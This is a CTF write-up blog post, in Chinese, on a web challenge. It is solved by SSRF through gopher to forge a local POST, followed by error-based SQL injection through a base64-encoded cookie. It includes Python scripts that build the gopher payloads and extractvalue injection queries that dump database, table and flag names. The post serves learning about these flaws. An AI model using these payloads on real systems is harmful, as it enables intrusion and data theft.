写在前面
这篇博客只是我在打完我认为的难题后的一个复盘和再思考的过程,其中的知识点都是基于我自己的学习和理解写出的,所以其中如有不正确的地方或者各位师傅看完后有疑惑,请师傅们在评论区指出或者私信我。小生跪谢!
开始
开启靶机后进入了如下页面:
需要注意的是下面的提示,大致意思是说我们不是内部用户,不能给我们身份。这个页面是一个登录框,按常理只有先登录获得cookie后服务器才能判断我们是什么用户,所以这里想表达的意思我认为应该是我们不是从本地发起的请求,所以不能让我们登录。后续我在该页面对这个登录框进行了测试,不论我输入什么,该页面都没有任何变化,这里让我更加肯定了自己的猜想。根据经验后端应该是使用$_SERVER['REMOTE_ADDR'] == '127.0.0.1'来判断我们是否是本地发起的请求,而这个字段的值是web容器根据TCP/IP层次的连接信息自动生成的,在客户端是无法控制的。所以这里应该是不能绕过了。
接下来的思路就是看看源码,看了源码后发现了一个use.php页面,去访问它:
发现了一个通过curl发起请求的点,那这里基本上就是SSRF,再结合题目第一时间想到了通过SSRF打无密码的mysql。对该输入框进行基本的测试后发现过滤了file、http:,但没有过滤gopher,所以这更进一步的验证了我们的猜想。但在此之前先去判断一下3306端口是否开启:
这里报错里有一个mysql_native_password,这是mysql默认的身份认证插件,表明服务器期望客户端使用该插件进行身份认证。即,这里出现了一个关于身份认证的报错,而如果是没有配置密码的mysql,客户端与之连接时一般是不会返回与身份验证相关的报错的,由此可以推断这里的mysql应该是设置了登录密码的,在我后续进一步的验证中也证明了这点。
所以到这里我们的思路就要改变了,我们先返回index.php抓包看看:
可以看到这里是发送了一个post数据包,结合use.php,这里可能是需要我们从use.php利用SSRF发送一个POST数据包到index.php里。所以直接尝试一下,如果要通过gopher发送POST请求,那么以下三个http请求头是必须的:
Host: 127.0.0.1:80
Content-Type: Content-Type: application/x-www-form-urlencoded
Content-Length: 0
经过我的测试,我发现host中的值不一定要是准确的,但Content-Length表示post请求体中的数据在哪里结束,所以这个值一定要是准确的。Content-Type表示请求或响应中的数据的MIME类型,可以让服务器或客户端能够正确的解析和处理数据,这个值也要是准确的。
因为后端curl还要执行一次,所以需要对gopher协议中的tcp/ip数据包部分进行二次url编码。它的规则是在第一次url编码后需要将其中的+替换为%20,将%0a替换为%0d%0a,且在数据包的末尾加上一个%0d%0a来表示数据的结束。这个post请求可以手工构造也可以通过python脚本构造。下面是构造post请求的pthon代码:
import urllib.parse
url='127.0.0.1'
content = "uname=admin&passwd=admin"
data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(content)}
{content}
'''
data_url1 = urllib.parse.quote(data).replace('%0A', '%0D%0A')
print(data_url1)
data_url2 = urllib.parse.quote(data_url1)
payload = 'gopher://127.0.0.1:80/_' + data_url2
print(f'payload:{payload}')
这里gopher里目标的端口号应该是80,这点在use.php中直接访问127.0.0.1时可以看到成功页面成功包含了index.php的内容,而通过curl直接访问一个域名/ip默认是使用http协议,默认端口号是80。构造好后通过bp发包观察回显:
该值在被base64解码后刚好就是admin,同时这也是我觉得整道题最变态的地方,这里如果我将username或passwd 值改为别的,只要不是admin和admin就不会有任何有用的信息的回显出来,即使认为这个登录框是一个注入点,进行测试也不会有任何有用的回显。也就是说这里就是一个模拟登录的行为,如果你是本地发起的请求,用户名和密码是admin和admin,那么它就认为你登录成功了,返回this_is_your_cookie,而这个返回才是真正的注入点。这里我感觉是很变态的,当然有我经验不足和思考不足的原因。
后面的流程就一目了然了,再次通过gopher发送一个无数据的包含Cookie请求头,其中内容为this_is_your_cookie=admin'(这个admin'需要通过base64编码),因为之前的返回中admin是经过base64编码的,所以由此可以推断后端应该会有一个base64解码的操作。发包过去后就可以发现mysql报错了,后面就是通过报错注入拿flag了,下面是一站式python脚本:
import urllib.parse
import requests
import base64
# 初始化
url = 'http://ip:port/use.php'
headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}
# 生成payload
def payload(sql):
sql = base64.b64encode(sql.encode('utf-8')).decode('utf-8')
cookie = f"this_is_your_cookie={sql}"
data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
data_url1 = urllib.parse.quote(data).replace('%0A', '%0D%0A')
# data_url2 = urllib.parse.quote(data_url1)
gopher = 'gopher://127.0.0.1:80/_' + data_url1
return gopher
# 获取库名 security
sql = "admin') and extractvalue(1,concat(0x7e,database())) -- q"
# 爆表 关键表flag
sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- q"
# 爆字段 flag
sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'))) -- q"
# 获取数据
sql = "admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) -- q"
pay = payload(sql)
print(pay)
params = {'url':f'{pay}'}
res = requests.get(url, params=params)
print(res.text)
写在最后
梦虽遥,追则可达;愿虽艰,持则可圆